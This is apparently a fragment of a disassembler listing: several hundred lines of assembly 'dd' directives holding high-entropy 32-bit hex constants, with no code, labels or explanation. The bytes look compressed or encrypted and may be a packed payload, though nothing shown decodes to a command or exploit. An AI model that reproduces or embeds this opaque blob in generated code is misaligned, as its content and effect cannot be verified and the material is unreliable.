		dd 0FF24853Fh, 5404140Ah, 0B8F21EC3h, 38304DE2h, 0EEAB0577h
		dd 0C180585Dh, 3CF0C524h, 38B67A78h, 0D6AC4E80h, 0C1FDA663h
		dd 0C5907568h, 75703DFBh, 14802489h, 0B4FCF7BCh, 63547907h
		dd 0CEF1FA98h, 4E4678E4h, 0E4BABE28h, 4454A4CAh, 0C67E7349h
		dd 0D8361505h, 9505E458h, 0E0CCD64Fh, 0D9FB0B40h, 1C0203D1h
		dd 5C01E7B5h, 3462C475h, 0EB41327Ch, 2C621318h,	0D55DC487h
		dd 27BC8036h, 870214F0h, 0F1C961F3h, 70C4094h, 7CF8A471h
		dd 9281749Dh, 947B1490h, 0D458F04Eh, 3CCB8D0Ch,	0AD005868h
		dd 9E5C4626h, 2C77FE74h, 821C89A0h, 7A78DFAh, 7E803C51h
		dd 2B818F4Ch, 42BA4AECh, 7C883514h, 84576711h, 20E2D7D0h
		dd 4211C13Fh, 83642D8Bh, 3A124848h, 215918F8h, 0F20161F0h
		dd 59CF7200h, 26086EEh,	1670F023h, 209DC1A3h, 0B80B8140h
		dd 2F805F62h, 7D30A4C9h, 86A1F142h, 0A74C7441h,	3C3C1888h
		dd 1C742A75h, 43530AB4h, 970FD85h, 0F4C6EC48h, 0D8A6E302h
		dd 0C05DA8A1h, 3143D640h, 0D731F38Fh, 0B07D1Bh,	87419C8Eh
		dd 4C7B37ECh, 2D1D78CCh, 7C90E65Fh, 0F0BF5923h,	0C785BF59h
		dd 6F0BE0F9h, 0D2128BE4h, 0E8028C8Dh, 7247642Bh, 209CB0D0h
		dd 0E5025834h, 0E78E17ACh, 9BB8A423h, 0BDBCF4h,	0DA97F539h
		dd 0F0BF8F15h, 41EFF01h, 73693365h, 733C8E20h, 909860D0h
		dd 395A41B1h, 0C190BD34h, 1C73EC20h, 177B805Ch,	0B4800944h
		dd 93D69644h, 0FFB82BE8h, 99F49A3Ah, 98DEE105h,	6C825FB6h
		dd 6DE32002h, 0AF00EFF6h, 0E6498951h, 0CB61ECDh, 407873D9h
		dd 9D28CB68h, 7B7040CEh, 9784650h, 6DE7F111h, 0E9C11h
		dd 0EE2811BAh, 139F07F9h, 4FB221CFh, 530AF11Ch,	40FA4490h
		dd 0C102D6B8h, 0B74E0026h, 0CE526EEAh, 6DF88F8Eh, 0C31250F4h
		dd 58006B56h, 41040A5Dh, 21FC019Dh, 17B3745Eh, 1862D4h
		dd 9A82E8CFh, 790CEF06h, 40230052h, 5A2D4784h, 93050D77h
		dd 0AE9E5888h, 989B7085h, 7CC717C0h, 730779D8h,	0B12F4835h
		dd 0AF97AB40h, 0FCED5995h, 0E48F40ACh, 0E3012F40h, 9F94559Ah
		dd 0A828DB3Dh, 7C7E84A8h
		dd 5B9DCCA8h, 97BEE400h, 29EA79D7h, 0A4070192h,	326D8FFFh
		dd 0AAE9FB60h, 0C30A6B6h, 80A0BF15h, 9C5E4B12h,	0C510B930h
		dd 0ACB001D9h, 0F41E0A11h, 0EB2CE26Fh, 0E708ACFBh, 348007AFh
		dd 92EF859Ch, 70442EB4h, 10E4AA00h, 911AE0E1h, 0F7B40061h
		dd 0DE5E0852h, 0B105FC5Bh, 6C7D3FC2h, 0E7FD1490h, 14D940C5h
		dd 0C1D7B00Ch, 163B88B4h, 20F105F0h, 25622A00h,	0E268F852h
		dd 47C6300Bh, 64DB3F04h, 14C17327h, 7A01BC60h, 22AC5042h
		dd 3700D79Eh, 0BF3BB41Ch, 2CD024Fh, 7473987Ah, 185011A8h
		dd 7B1B3490h, 890663Ah,	35855D0h, 156B7501h, 9841AAA0h
		dd 0C0819A05h, 5BA8E1C6h, 4CD47DDBh, 8AD1090h, 0F61E3600h
		dd 0FFA83711h, 72016C9Ch, 0FB4BAA4Eh, 0C21238F0h, 0D8784C19h
		dd 1CC884C8h, 0BB26B803h, 0E22817D0h, 3480E451h, 0A078A7A1h
		dd 0AE10B838h, 540C12FEh, 53801EC7h, 459A4B0h, 98380BC8h
		dd 7A44A079h, 25BF05AEh, 3043224Ch, 8DC0F905h, 3C892C57h
		dd 73725741h, 40BBB460h, 15EEB10Ch, 5891EC16h, 3D84F804h
		dd 601D98F4h, 46B248D1h, 0CA548070h, 0A0180688h, 7850C896h
		dd 162929A3h, 0AE740048h, 333BC706h, 87E34D80h,	162DD032h
		dd 1AAE7F01h, 0E196D87Ah, 3F08204Fh, 73830575h,	0A1BBB8CEh
		dd 5450D380h, 98461FEh,	678D0383h, 0B7590002h, 4FB3F468h
		dd 0B51EBA12h, 168C2850h, 7C9C08F3h, 3E09CA1Dh,	104D9338h
		dd 8935E474h, 5B8C8159h, 18B021AAh, 1B7A27FCh, 0C6B8E610h
		dd 0F0509010h, 0D5FCA0B4h, 0F78528B0h, 77603166h, 75505802h
		dd 7CCE8029h, 917CE98Ch, 0B6083417h, 100C61A9h,	0FC909B56h
		dd 68E0C2D0h, 34C035A8h, 0E2A097E1h, 0DC2507CCh, 606FF93Bh
		dd 0ABBD0F5Dh, 156901B6h, 0CB2E441Bh, 0BCD878CFh, 0D81F8C4Eh
		dd 7540BC09h, 0C31371A5h, 0E980E19Dh, 47E7C2ADh, 0C4028B39h
		dd 12282E3Ch, 24DA3Bh, 91D63489h, 1AC45059h, 8C7C5738h
		dd 0B9F28743h, 3034F7D7h, 1BA602F0h, 0F8DDBCE1h, 0AFFC7440h
		dd 85B69CA0h, 3C01274Eh, 51C0664Eh, 30AA0834h, 624128E1h
		dd 2325830Ah, 0C1F08718h, 4C9B8153h, 0F1111869h, 11504C21h
		dd 42095D68h, 0A079A78Ah, 98E22039h, 65CC206Ch,	3020FF4Ch
		dd 6057D9ECh, 9B90712h,	0FC558077h, 2AEA3330h, 0FE4420E3h
		dd 8F0430C8h, 68CE21ACh, 4C406D69h, 6900787Eh, 8E36D280h
		dd 71F9C989h, 9B910F8Bh, 0A85911E9h, 0BDDC64DBh, 4B10048Ch
		dd 62209C40h, 827200Fh,	475844Bh, 1CCACB00h, 3AD561C4h
		dd 0A1070273h, 71AABE19h, 6200207Ah, 6EFB4A36h,	0F781F35h
		dd 7DDD04A6h, 7A07B301h, 0FC299726h, 0C23202Fh,	9E4D8300h
		dd 4C2487A9h, 8825F85Bh, 96A8D80Eh, 0B1DC91AFh,	36004E8h
		dd 36518F65h, 19C87D5Dh, 0EA0EE2A0h, 96D7CB84h,	8CFC6C4Ah
		dd 70A465Eh, 0B6CA1B2Fh, 3CF21260h, 58DF0372h, 0D8E43902h
		dd 17B29110h, 2689370Bh, 35FAE8A0h, 72354BF3h, 0A40830CFh
		dd 891081B4h, 201B7DD3h, 372C9DE4h, 0B8A6345Eh,	151CE908h
		dd 0B5000C9Bh, 1F7A2ADh, 665B8003h, 3983E460h, 2A040202h
		dd 8E85A1B7h, 94495C58h, 57420E88h, 5D3DA2E2h, 6305C5Ch
		dd 4169625Ah, 0F23EB37Ah, 4CFC2497h, 84631712h,	27D391E2h
		dd 0AA02A029h, 0DB483FB8h, 6A7FA840h, 58534100h, 248C3957h
		dd 0DAE90023h, 2E9EE3FEh, 0B303375Eh, 1C6E7C25h, 29C8B1BEh
		dd 5D9839C0h, 8C4240F1h, 0FB87170Ah, 0F8E5053Ch, 3930C00Ah
		dd 7090AF99h, 0C9EE8901h, 0C44ABE78h, 8C4D5030h, 0CE3DB31Ch
		dd 90B2B293h, 0E1BB76C7h, 0D02B7452h, 39043F7Bh, 8543A372h
		dd 12F5C4C8h, 9AEB599Fh, 0B7909E54h, 21F9A184h,	900B92CFh
		dd 8E60E120h, 7813AC18h, 0C4029B0Bh, 5409685Dh,	0E4E98878h
		dd 8A563E0Eh, 78A9AC2Dh, 0DE613302h, 0FCC888ABh, 0CDF804A1h
		dd 19C60066h, 23FC6AA6h, 0DB019EA4h, 0F551AC22h, 0C40A921h
		dd 120D2FEh, 19F65FADh,	0D3F59EE2h, 27035AE0h, 7C5BAE3Ah
		dd 0FF52A700h, 0F1579F23h, 5DF6031Bh, 6DAD18F2h, 9EA7280Ch
		dd 0E82361FBh, 0C45B3C98h, 0C5909B0Fh, 280A52Eh, 0F15FAE07h
		dd 67F61F01h, 0F4E429F2h, 1F05BDDCh, 2853029Eh,	0F2961B04h
		dd 54D06026h, 0D5704ACBh, 2BDE30Dh, 1CF0D022h, 2A80CEA1h
		dd 0A0C75086h, 0A13118DDh, 8509124h, 7CA61DFFh,	98150A5Ch
		dd 36383C5Ah, 91E8880h,	1D806CADh, 530350A7h, 79E1CD5h
		dd 25F30026h, 0FE5DAD1Bh, 38C47D30h, 9BF670h, 0BD05BEC6h
		dd 55AB19FAh, 0BA09D200h, 0ED532F9Eh, 401D005Ah, 17F26CC6h
		dd 0E1CEB0C1h, 0AA5886A3h, 98030E78h, 0BD84C651h, 17324Ah
		dd 6AA12B27h, 0F602DC10h, 1DEABBA0h, 0D7B19A0Fh, 0BAC19108h
		dd 0F322FC4Eh, 90B32CE4h, 63C02C94h, 78936798h,	48084C24h
		dd 4031331h, 818CE178h,	741CD270h, 60B833E8h, 19076Bh
		dd 7057E9B0h, 40C662B9h, 0A024A15Fh, 4248ECD6h,	5DB30795h
		dd 40FB4B8Bh, 80FB8188h, 9F768DC0h, 0A0CA15Ch, 2CE73990h
		dd 604CC02Ch, 613E45D8h, 5904CBF4h, 8A45C961h, 40048CB4h
		dd 0C114D21Ch, 5C2CA58Dh, 0B8FE3000h, 967FC719h, 97CA044h
		dd 16307DB2h, 0A155D048h, 265188A6h, 0A4593F2Ch, 0D183F1B8h
		dd 0FAE9624Eh, 50945940h, 0CE204721h, 356BE250h, 0B4E1DB90h
		dd 0A9881A31h, 910A0F71h, 334C840Ch, 0D085D704h, 0A9F1E574h
		dd 2822F75Bh, 0CC332BC9h, 82F908C4h, 0B4680B83h, 0F60FE476h
		dd 2118381Eh, 2F7C9A8Eh, 14218873h, 80AAB83Eh, 573DD628h
		dd 900B816Fh, 8868B448h, 964958Dh, 78753E43h, 7D38809Eh
		dd 0B4055EA6h, 0AC5EE339h, 240315h, 6675C6F7h, 0AB918D3Ch
		dd 4D80C398h, 4B384C30h, 0AB79E97h, 8AB02E90h, 40D19Dh
		dd 3FCB3D8Bh, 491770Bh,	101044A3h, 0DCA9DB88h, 58B48D45h
		dd 15A01A7Dh, 0F4C98001h, 61BC50FBh, 41D4CBE9h,	912A3604h
		dd 21DB4318h, 0C8D39022h, 54E36432h, 938231Ch, 4818FC43h
		dd 7C419F15h, 21D5C41h,	9B4A3600h, 4074FC33h, 0E330E4DAh
		dd 3C919D03h, 6C209C28h, 0B5FC25B6h, 0F59D9898h, 8B2620FBh
		dd 0E33E8307h, 0E5850A9Ah, 2C4234C8h, 39E4315Fh, 6B248AA2h
		dd 0D81F341Ch, 4DF61C62h, 0F49E82C6h, 0C4CAF15Eh, 52DC802h
		dd 0E875B448h, 0AC04049h, 0B4BE0F56h, 82E49908h, 7D2899Ah
		dd 0DB23209Eh, 4BD0284Dh, 0CA40CC03h, 7710F77Ch, 8AC85727h
		dd 0F7D28CBEh, 0BABF098h, 3A12C983h, 0EFF08C72h, 5DEEF90Dh
		dd 0D842C87Ah, 81E8F9D2h, 810CA646h, 88F018BAh,	0A6004ED6h
		dd 1B3E3601h, 737AED1Fh, 0B5E809F9h, 0D0C9C211h, 850A3A54h
		dd 0A90980F0h, 3C3419E1h, 807B02D2h, 945610CAh,	724A465Eh
		dd 4D266F00h, 6A2C35F9h, 37C00BC3h, 24C8998Eh, 29010705h
		dd 0E9AC0E54h, 0E420B85Ah, 79C46EE7h, 14CD8367h, 79B34BF3h
		dd 18F07910h, 0F7C0E7ADh, 0A48E1C88h, 2517C2E3h, 0F8E0698Ah
		dd 0B8B4220Fh, 0D4676h,	4C70B86Dh, 466E4A5h, 509C4F41h
		dd 0A0C82EAh, 13F7C130h, 0B2EF77B7h, 0C9B9C0C0h, 0FCBA7EF7h
		dd 75050329h, 0A817184Ah, 0C9FE2100h, 0DBCE541Ah, 0BE98990Dh
		dd 27F75h, 3E328105h, 26D9E0A8h, 9E010302h, 713877AAh
		dd 0E42112C0h, 580030A8h, 69F15010h, 0E775B4A7h, 49BC403Ch
		dd 4057008Ch, 0A95375D0h, 7D03FC45h, 562107B4h,	925AA904h
		dd 0D99E1C7Ch, 0FD5081F7h, 0D167ED7Fh, 0A7783018h, 0DC8BB85Bh
		dd 39C0FFC8h, 6B9960Ah
		dd 0E68E56BFh, 82A07124h, 0EA0F125Ch, 69A07038h, 0EB7405A6h
		dd 2F2A64A5h, 0FC2398h,	0F8BF077Fh, 0FA3E3C35h,	462F01DEh
		dd 8EEA109Eh, 7C03038h,	14B42328h, 66F89CF4h, 4D7D8B88h
		dd 6400E8ABh, 0A63EDB12h, 0F95B8F43h, 0D298C492h, 90A84CB0h
		dd 60889B26h, 15C4CD57h, 0AF24AC39h, 60208A2Fh,	7D067EDCh
		dd 0D1E00939h, 4CA98043h, 474C4C82h, 65012822h,	62871094h
		dd 0D642AB78h, 0BA02620h, 0B4A11A57h, 341080h, 26423BB2h
		dd 0E4D837CBh, 0F120104Bh, 1E1830B1h, 0BDD035BDh, 8BF33682h
		dd 0A867AF05h, 0CE60F244h, 190E94E7h, 29507B7Dh, 52700010h
		dd 9F55563Fh, 8B113497h, 6FEB6080h, 0D227483Fh,	850C1F0Bh
		dd 0BDFC039Ch, 58CF0430h, 88B9D6EAh, 25350B78h,	0E002F35Ch
		dd 0AC60A55Fh, 0B30179D7h, 15C3FE17h, 489EF748h, 28C8221Ch
		dd 0FC6910BCh, 650A663h, 0D44B15C2h, 9E0B216Bh,	806F71E9h
		dd 63D88934h, 7C18CBA3h, 9B4B2C7Ah, 38891890h, 18436163h
		dd 8675E82Dh, 7C780739h, 53120051h, 8B048E3Eh, 0C45C5F47h
		dd 9F5800E0h, 1CFDEAFCh, 4564B0F3h, 5354430Ch, 752EA1E6h
		dd 9F4EEC98h, 434DF4C1h, 2092E88Dh, 0C340E17h, 0F606FB80h
		dd 19C9CE21h, 0EA84074Fh, 0B5C961A1h, 0C607903Ch, 0C47F63F1h
		dd 567080E0h, 3F00D583h, 191E9AB2h, 656F4681h, 8065081Ah
		dd 585B7274h, 0A2F40B02h, 0B9F78A43h, 0B89FF94Ch, 9A0A05CAh
		dd 0AEE048A4h, 4804D68Ch, 2B34065Eh, 0F08E1CFAh, 0B6AD11EDh
		dd 8D128032h, 7840807Bh, 330CBD0Bh, 48AAE78Eh, 8DFB0B62h
		dd 0DCC63BA3h, 3A587548h, 0B48B090Eh, 7ECC2106h, 219E12FFh
		dd 0C8DB3D0Bh, 392F59D8h, 8780FD5h, 45BE0EFFh, 3DEAB883h
		dd 7109D7E3h, 0C1A09614h, 7181AF50h, 0D0EB8425h, 59B5DC68h
		dd 0C87BFC27h, 80DFB8h,	0D8F66536h, 60FF543Dh, 9CA3F274h
		dd 1CB440B4h, 547B07FCh, 641E9078h, 54401085h, 75B80010h
		dd 64830B57h, 56661D1Bh, 0BC2D62D4h, 3858C134h,	0B7127422h
		dd 4D9C4244h, 0D0600AD4h, 21228E36h, 12788Fh, 0E4CA398Bh
		dd 0D94552F7h, 56B06B60h, 48F5C187h, 0D6222C5Bh, 12A6720Bh
		dd 146800B1h, 0BAA1C53h, 642E9C6Eh, 0ADE4B064h,	4B5EA50Eh
		dd 3DE67CCh, 0C4371242h, 1CC04958h, 59D98D1Ah, 0C10C882Fh
		dd 0A6025C11h, 0BBC6821Ah, 80E8ECB8h, 906ED4D4h, 0B02882A8h
		dd 60399260h, 7B8521C8h, 8CB8232Dh, 0CF19F28h, 0AAA6813Eh
		dd 0C009D057h, 580D0F8Dh, 6B233B08h, 7A81893Ah,	6E987473h
		dd 18E031A6h, 81146F14h, 1030217Bh, 169FBF39h, 0D514A1C0h
		dd 569803Bh, 3FC3CA83h,	9DF60398h, 0B526022Eh, 7C17CDF0h
		dd 0B32C20B7h, 318AE0Ch, 2DB94E84h, 74FA07AAh, 0E4C0444h
		dd 0F0284268h, 87960C63h, 0BB41C947h, 2C404DADh, 97D7027Eh
		dd 70BE08A0h, 0E65EF1E5h, 7EB72440h, 96515ABh, 0BCA63C3Eh
		dd 0CDB1C19h, 40B1040Fh, 0E10EF6CDh, 496DDDE0h,	0F4F4F798h
		dd 0CA81848h, 4384BBC0h, 49E810F0h, 40C07A26h, 3BA52F2Ch
		dd 0B9BDEF07h, 0C0819566h, 2181447Ch, 1BE625D5h, 72457007h
		dd 9BE9ED00h, 7D9C0A79h, 210F25A9h, 0C41A1848h,	2AD24703h
		dd 0D8803D70h, 0EC89C707h, 50276BB2h, 0C100A464h, 0C8036064h
		dd 12A65E63h, 1D925FFAh, 62EA0268h, 0A098F068h,	0E600EB21h
		dd 0A3A7E8E2h, 79E3Ah, 5BE0DE6Fh, 50EF1D6Eh, 0A244530Eh
		dd 0CCC6E041h, 7CD94935h, 74DB1BB9h, 52A810A4h,	0D75A9086h
		dd 0C89BDC93h, 1214C4h,	0BC93A9E9h, 734C71A0h, 0D789DC07h
		dd 575141FBh, 0B980407Ch, 6A85CEC6h, 6E3EE5ABh,	0B42E01C5h
		dd 72070558h, 91028862h, 90F1FBB8h, 300B8F2h, 9EE45E12h
		dd 74788Ah, 0A57C1E7Bh,	0DAEF8C34h, 6F10350Ah, 0D424FC90h
		dd 0EBA8482Fh, 2D58057Ch, 40B421BEh, 8B8407B4h,	0A400FF9Eh
		dd 29147D82h, 256D077h,	26F3BCC7h, 5E23457Bh, 0DD44C0CCh
		dd 404900F0h, 0CE8402E8h, 2E0214B5h, 7907A622h,	0A47B241Dh
		dd 7E0736D8h, 0BE6EB8D7h, 0BCF03745h, 0E8F231h,	0E6AA796h
		dd 83CAA013h, 0D39BAB03h, 0C58125CCh, 0A9E70403h, 85100080h
		dd 0F9CFD972h, 6909C8A4h, 0EFC2A1h, 0E6CDF1FDh,	4F3E033Fh
		dd 0D09E41EBh, 523C3AE0h, 48DE66B8h, 55673801h,	57F42679h
		dd 9DAE0F20h, 0EE6641D0h, 811B40E0h, 3A3140D9h,	0CD061A70h
		dd 20DAB64Fh, 333620Ch,	659025h, 0EC612BBh, 47B0B174h
		dd 9C829000h, 536B3EFBh, 15450142h, 0D5B8C237h,	8617E46Eh
		dd 32FD0B0Eh, 2051E167h, 44437F3Ch, 6E510662h, 316905B9h
		dd 4F3A0D06h, 0EC80E24Ah, 0D942075Fh, 0C347D09Bh, 180ED636h
		dd 0F0325080h, 45BF0204h, 0B27400E4h, 5D1FAF4h,	466FCCC7h
		dd 669421E7h, 0CD308CEBh, 60B26472h, 0BF3B1035h, 0DA6CBA11h
		dd 0C5DB6470h, 24C2D918h, 0C046ECCh, 10C25D9Ah,	0B8455133h
		dd 50F964F0h, 11A9417h,	25CBD3E9h, 4054C719h, 3AFD3380h
		dd 67CA8E06h, 422909BBh, 56CE11C5h, 44F1887Eh, 0C21E8E92h
		dd 421FF30Eh, 0D170A43Bh, 47EB803Fh, 0B6BB758Fh, 3F4C7991h
		dd 76060CBCh, 11508837h, 3677C300h, 5442FE27h, 0AB8E00ECh
		dd 891D3E22h, 2A000E1Ah, 7750C62Eh, 0FB5FB9h, 3ED41B71h
		dd 24EB39F8h, 9CA9DB01h, 2C5AE176h, 3BAC9DD0h, 8E80F1A6h
		dd 1A0B1E39h, 4C00565Dh, 0B16588AEh, 58F44D72h,	3500BF68h
		dd 0D006F337h, 1900A129h, 925E80FBh, 1F4BEA8h, 0BAA99A45h
		dd 50F6B651h, 409796B0h, 65E5B204h, 3A80B78Ch, 0C0A25F8Fh
		dd 2B031F11h, 3607E0D8h, 0DBDDCC31h, 3C87E34Eh,	0E20EC826h
		dd 0F8D4A8D4h, 2F9A0305h, 0ADDCD820h, 4700C976h, 174F8027h
		dd 0E5F4D4h, 0B8ABFC95h, 3AEDF03Fh, 853042E0h, 4CBD6108h
		dd 0FDD200FAh, 7C3601D6h, 0B77D7FCDh, 8E3F500h,	34AE2550h
		dd 940300FFh, 0F090AD81h, 7A002875h, 0ED57B3DAh, 3902BF8Ah
		dd 2FDCA49Ch, 6F64FD00h, 0EADA7FC1h, 93E54B00h,	9AF5BCA0h
		dd 0DD5D0022h, 0C0A7041h, 8500CDBBh, 0AC11518Ch, 0F9B6176h
		dd 5B191D03h, 781B30A0h, 0A150842Bh, 383917BCh,	0B9989C7Ah
		dd 0E5744700h, 917397h,	0B3DD5484h, 0AE64F148h,	80088F3Eh
		dd 0E94B1830h, 483106C4h, 0FF002434h, 0A146B0A6h, 0BF008678h
		dd 6110291Bh, 98110609h, 0F33100B2h, 0F25DFEBCh, 0B300587Dh
		dd 18D1AB5Fh, 15A053AFh, 0E8A91F57h, 0C95A0071h, 941AE643h
		dd 0B13F05B2h, 1F91BCA2h, 39004767h, 52EE383Fh,	4E56006Ah
		dd 0C024D8FFh, 0B07C0702h, 2A0AD3FAh, 0EC20DF92h, 0BE53A200h
		dd 0D621A3h, 51A4273Ah,	0D81D9F82h, 52C63050h, 0DCA08300h
		dd 9D17BD93h, 5198E0ABh, 0CF941Bh, 2A189711h, 0A8510A73h
		dd 28CEE48h, 15324276h,	0CC62E066h, 381E1414h, 6D24FB7Ch
		dd 2FE18940h, 0C1B32420h, 0B500A018h, 0B1CD156Bh, 3AA668Ah
		dd 8D506841h, 0A4F8A1DDh, 0E1F23C62h, 861AF41Eh, 668BB580h
		dd 0D75D0h, 0DB148991h,	8CC26B2Ch, 38DE7703h, 0F0904402h
		dd 50549Bh, 9DCC175Eh, 0F8110980h, 0FE95EC00h, 7B1964ADh
		dd 0A2433EF0h, 9AD17680h, 0D538FB26h, 1600ACEEh, 4C1F7D75h
		dd 0E8028877h, 1C7A00F9h, 9F894BF7h, 6700F194h,	0D936A85Bh
		dd 2809BA70h, 0DCCC40h,	190DAA31h, 988C28B2h, 1100ACF0h
		dd 8A26AE1Dh, 2A9339Ah,	197F1A08h, 0BC40E114h, 0AC066D8Dh
		dd 30FD1399h, 0AB6C0F10h, 0C460E098h, 0AEE1EA3Bh, 1D9CFCF7h
		dd 0CC86321Eh, 0F9E46180h
		dd 3DA34EA7h, 6D00EDD6h, 9DE1F17h, 633D8230h, 0DCC580FAh
		dd 6C71A37Dh, 238A3DCEh, 9C33B9Ch, 18A18F7Bh, 0B19ADEh
		dd 864A48h, 0C67F32DBh,	0D7FE4574h, 0A690E600h,	0BA9FF6Ah
		dd 1EB5FAD5h, 0E4894A2h, 0BFC007BBh, 131C4003h,	0A6064400h
		dd 32998705h, 5DD400D9h, 1EB0B91h, 37B2DCE7h, 525A5600h
		dd 86EDCAF5h, 7FEA0034h, 85B767B4h, 0B502756Dh,	0D5D783F1h
		dd 288A6188h, 1C48D9E8h, 1893E05h, 95CB92F3h, 128AD054h
		dd 7F70C900h, 0AD4DB28Fh, 11F900D7h, 0C5252CFAh, 13E672A7h
		dd 7F181B00h, 0FCCC6A50h, 93B40053h, 0C3278DBFh, 0F300D128h
		dd 77A31652h, 0F0DE58C7h, 77547h, 3FFF8178h, 44691839h
		dd 0B841F901h, 163A0A0Fh, 1E8CF6D8h, 839EDDC7h,	655A96CDh
		dd 0B0C06CB8h, 0E300CCFEh, 0BB9A6861h, 4B2B3EFh, 302B7383h
		dd 94038003h, 0C85887D2h, 0A74C0E53h, 883140B0h, 4D83E7CFh
		dd 0C904C839h, 8148E9B2h, 64C5FEA4h, 33005BA8h,	0CD7547A0h
		dd 9A8B87Dh, 9A78ADE3h,	0E40CC0A3h, 341EE9A1h, 0E11EA710h
		dd 3C08E59h, 0ACA17529h, 188F00ABh, 5B5EFBDh, 910E3884h
		dd 0C077E832h, 69727937h, 2A6A6768h, 801A93Ah, 0D8EDC5EFh
		dd 0F5002B33h, 0D87B524Bh, 3ED480B8h, 348FFAADh, 57AF1F99h
		dd 8C03CB29h, 4D81BFE5h, 0C578F81Eh, 441E604h, 688019B1h
		dd 1BE98C6h, 7D534E0Fh,	70ECA5D0h, 600C2690h, 11A1DFD5h
		dd 0D46F0329h, 7601D02Ch, 0E98C80D4h, 4A0EE831h, 64CC1h
		dd 0B88F9C44h, 6BC7165Ch, 0CDAC00C3h, 3E87756h,	93C674Ch
		dd 0A0C0FFA6h, 5DFC924Ch, 0FD663E40h, 12DFEF12h, 0A1C00A0h
		dd 2CA9B8C6h, 0C13DD503h, 0D8FB615Ch, 0BB6AE5h,	0BD74EDF3h
		dd 7EECC366h, 1DBAC004h, 688494E2h, 0E79ADC40h,	74460FBh
		dd 38DF6E6Ah, 6B8C30FAh, 0FD006448h, 8FE0C7EEh,	2EE6671Ch
		dd 200AE7EAh, 0E19D01B8h, 6966D3E2h, 0C490C975h, 3F009FF5h
		dd 0E3C6802Bh, 5D6C04B9h, 7FAC84h, 9B9723D3h, 6BB034FFh
		dd 0CDB10812h, 4735B000h, 0B5046Ah, 3F88EFC9h, 0C76E6849h
		dd 3DC2359h, 0B97077BEh, 4EF9C025h, 0B53F01Bh, 0CFC6A3E5h
		dd 0DD4D4820h, 0FE00543Eh, 0EE55D2A0h, 4A5D191h, 0E6BB72A6h
		dd 0F9CF864Ch, 1C9EA228h, 0C1935103h, 0A5BB536Dh, 0C4B2C72h
		dd 5407BC39h, 4CBB68EEh, 6B701740h, 634903F0h, 628FCD9Ah
		dd 6773D1A0h, 0FDA2161Eh, 0C12F0282h, 837461EBh, 5AFC9DE9h
		dd 27E7B41h, 0D2E663F2h, 0BD807F4Fh, 3381FFF5h,	91A36A00h
		dd 515A48C8h, 41DE004Bh, 9DCF0258h, 25E8BF07h, 0A0EE3A07h
		dd 0C04484A2h, 0F26DB890h, 7E123039h, 3A7C54CAh, 0CDA26A01h
		dd 4FA9A5EEh, 0C85085F5h, 0CA0FF80h, 0C30E018Ah, 9B00E741h
		dd 2BCCC783h, 1E92F937h, 40278453h, 99CAA04Bh, 0AC4AC8BBh
		dd 3CD6800h, 3334F8B9h,	6C40227Eh, 983014C3h, 0A6392220h
		dd 0C94C7A4h, 29D72602h, 7EB96200h, 0FA6CBDD0h,	74D67C4Eh
		dd 89B560B0h, 0D9BCAB89h, 0BCCF3D2Ah, 0F39AA000h, 55BDE039h
		dd 5CCE0079h, 3A2D980Bh, 0C903A346h, 25C70C62h,	0FAA7A004h
		dd 0FC4F30BFh, 1BE6CAE8h, 68CC08C7h, 0E0C6C7B3h, 33E7CB9Ch
		dd 1A18867Fh, 8C81D0FAh, 844B4E19h, 20E133BEh, 880DECA4h
		dd 0EA88CDE9h, 43FD894Ah, 48842114h, 4C3B42C5h,	8E520924h
		dd 10E2B200h, 0C45DBFEEh, 16680060h, 342571CCh,	938626FAh
		dd 9F199D30h, 98F7F27h,	40603FC7h, 58A43ED8h, 523D004h
		dd 0DCC0439Bh, 71970811h, 0D4A50C48h, 8119DEA0h, 5057F926h
		dd 0AA1A4D00h, 7EA66176h, 0CBA71C65h, 0B973C083h, 4BEE8B34h
		dd 0B3D32C0h, 217FB0h, 0F0B2FD46h, 7DBE1008h, 5385F600h
		dd 9910E69h, 0B35B1741h, 486400FCh, 0C0F3D2FAh,	887C0D01h
		dd 0F9AF4E47h, 0ED4E3E4h, 46319655h, 0DD41FDC0h, 0FA016258h
		dd 0BA69E20Bh, 3DC47080h, 0C3BE1C53h, 9DB94049h, 3C13AFFCh
		dd 1A008492h, 0C4E37A18h, 15CEFEAh, 0F5E79B8h, 0F4E5C8E8h
		dd 5F03476Eh, 67E69D0Eh, 0DE9A906Dh, 1DEA07E9h,	0CE536560h
		dd 1020F2CFh, 0B01F740Fh, 802D4Ch, 96843863h, 54E39498h
		dd 2612C469h, 8EEC7F3Bh, 8B80C5BFh, 3531A221h, 0D3179300h
		dd 59CF7D4Ch, 0E0BEE28Dh, 5A6A07C6h, 50D5D8D4h,	9B4A525Eh
		dd 54DF5Ch, 0E6793C1Ah,	4ACB8C2Dh, 0D2080A30h, 40B100B7h
		dd 0C44DF084h, 5B500200h, 339FFE53h, 0D1BA09A3h, 1CA0BCE4h
		dd 7A1A5A04h, 46302F12h, 62B31047h, 3A1F37E0h, 599D00EFh
		dd 0DC1C6FBAh, 7900F13Ch, 0B8FB2403h, 1FCB14D6h, 0D707D116h
		dd 0AE410657h, 2100E062h, 0B69A017Ch, 7F0213h, 84427E4Ah
		dd 3EC3FCCFh, 4B414E06h, 319B5Ch, 84F58B6Eh, 170854C8h
		dd 80C9463Ch, 185A6DBDh, 3031327Ch, 99A06644h, 242EFA9Ah
		dd 771DFB2Fh, 0A0788D0Eh, 86814CB4h, 6DB33769h,	0A79212A8h
		dd 0B7ADCA40h, 45D2A22Eh, 91E3813Bh, 0CD82E5DAh, 0E0E80073h
		dd 7240008Eh, 0F78BDA0Dh, 50E973Dh, 0CF525C02h,	0B8D160FDh
		dd 0A4E597Ah, 0FCE3CEE9h, 21630092h, 142F1022h,	590058ECh
		dd 98F8A455h, 27ED5Dh, 2FCE177h, 0D7B5A1BDh, 25D6D900h
		dd 0E81B642Bh, 9A20C016h, 36B9B66Fh, 3E101760h,	0A88FBDh
		dd 0ECF5C9F8h, 0C2FAC8B8h, 87F2801h, 0B366738Eh, 0EA862870h
		dd 3AF0149h, 98E5802Fh,	0F69C2082h, 149EBB2Ch, 330A1600h
		dd 3939D94h, 10141FA8h,	0A08F9A31h, 924B68ABh, 4D04C678h
		dd 0C9163C11h, 49966C80h, 1539040Dh, 8641DCCCh,	0C63C627Ch
		dd 0EB19933Fh, 0B2A47440h, 0FE4147Bh, 65938934h, 4C600709h
		dd 64009286h, 0F2DD08B3h, 2763BA4h, 0B74DE6CDh,	0ACE8F35Bh
		dd 0AD7C07A6h, 92B0F600h, 0A2CA06D2h, 0D1D50A1Bh, 12887F9Ah
		dd 0EB62004Fh, 0D8280133h, 0E3309012h, 0DB7B98C1h, 0DD00303Dh
